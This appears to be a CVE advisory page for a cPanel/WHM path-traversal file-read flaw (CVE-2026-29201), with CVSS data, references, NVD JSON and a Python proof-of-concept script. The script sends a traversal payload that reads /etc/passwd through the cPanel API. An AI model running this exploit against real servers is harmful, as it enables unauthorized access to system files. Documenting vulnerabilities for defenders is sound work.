CVE-2026-29201

Description

Insufficient input validation of the feature file name in `feature::LOADFEATUREFILE` AdminBin call can cause arbitrary file read when a relative file path is passed.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

cPanel WHM < May 08 2026 Security Release

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

target_url = "https://cpanel-target:2083/json-api/cpanel"
api_token = "LOW_PRIV_TOKEN"
user = "target_user"

payload = {
    "cpanel_jsonapi_version": "2",
    "cpanel_jsonapi_module": "FeatureManager",
    "cpanel_jsonapi_func": "loadfeaturefile",
    "cpanel_jsonapi_user": user,
    "feature": "../../../../../../etc/passwd"
}

headers = {"Authorization": f"whm {user}:{api_token}"}

response = requests.post(target_url, data=payload, headers=headers, verify=False)
print(response.text)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-29201
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-29201
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-29201/
[4] VulDB https://vuldb.com/cve/CVE-2026-29201
[5] https://support.cpanel.net/hc/en-us/articles/40311033698327-Security-CVE-2026-29201-cPanel-WHM-WP2-Security-Update-May-08-2026

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-29201", "sourceIdentifier": "[email protected]", "published": "2026-05-08T19:16:29.930", "lastModified": "2026-05-11T23:19:22.043", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient input validation of the feature file name in `feature::LOADFEATUREFILE` AdminBin call can cause arbitrary file read when a relative file path is passed."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://support.cpanel.net/hc/en-us/articles/40311033698327-Security-CVE-2026-29201-cPanel-WHM-WP2-Security-Update-May-08-2026", "source": "[email protected]"}]}}